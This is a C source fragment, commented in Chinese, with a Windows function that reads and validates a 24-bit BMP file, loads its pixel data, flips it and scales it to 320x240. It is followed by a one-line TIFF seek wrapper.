/************************************************************************************************ * * * 读取24位真彩色位图像素数据函数,每个像素用3个字节RGB表示 * * 打开图像文件,解析位图文件结构,分解出位图文件头、位图信息头,像素数据 * * 输入参数:imgFileName - 文件名 * * 返回值 : 存放24位真彩色位图像素RGB数据及尺寸为320*240位图结构指针 * * * ************************************************************************************************/ BmpImage* ReadBmpFile(LPSTR imgFileName) { OFSTRUCT of; HFILE Image_fp; BITMAPFILEHEADER bfImage; BITMAPINFOHEADER biImage; BmpImage *pImage; if( strlen(imgFileName) == 0 ) return NULL; Image_fp = OpenFile(imgFileName, &of, OF_READ); if (Image_fp == HFILE_ERROR) { MessageBox(NULL, "打开读bmp图像文件出错", "打开文件出错信息", MB_OK); return NULL; } // 定位及读取位图文件头 _llseek(Image_fp, 0, 0); _lread(Image_fp, &bfImage, sizeof(BITMAPFILEHEADER)); // "BM" (0x4d42):表示位图BMP if ((bfImage.bfType != 0x4d42)) { MessageBox(NULL, "非bmp文件", "打开bmp文件出错信息", MB_OK); _lclose(Image_fp); return NULL; } // 读取位图信息头 _lread(Image_fp, &biImage, sizeof(BITMAPINFOHEADER)); if (biImage.biBitCount != 24) { MessageBox(NULL, "非24位真彩色位图", "读取bmp文件出错信息", MB_OK); _lclose(Image_fp); return NULL; } // 分配临时存储像素数据空间 pImage = MallocBmpImage(biImage.biWidth, biImage.biHeight); if( pImage == NULL ) { MessageBox(NULL, "系统没有足够内存空间以分配存储位图", "读取bmp文件出错信息", MB_OK); _lclose(Image_fp); return NULL; } // 定位及读取位图像素阵列数据 _llseek(Image_fp, bfImage.bfOffBits, 0); _lread(Image_fp, pImage->data, biImage.biSizeImage); // 丢掉bmp像素数据中补齐每行像素字节数4倍的无效数据0,得RGB真实像素数据 ExtractImageData(pImage); // bmp图片像素从下到上,从左到右,倒转为从上到下,从左到右 ReverseImageData(pImage); //图像缩放归一化,限定输出图像尺寸:320*240 NormalizeImageSize(pImage, 320, 240); _lclose(Image_fp); return pImage; }
static toff_t _tiffSeekProc(thandle_t fd, toff_t off, int whence) { return (_llseek(fd, (off_t) off, whence)); }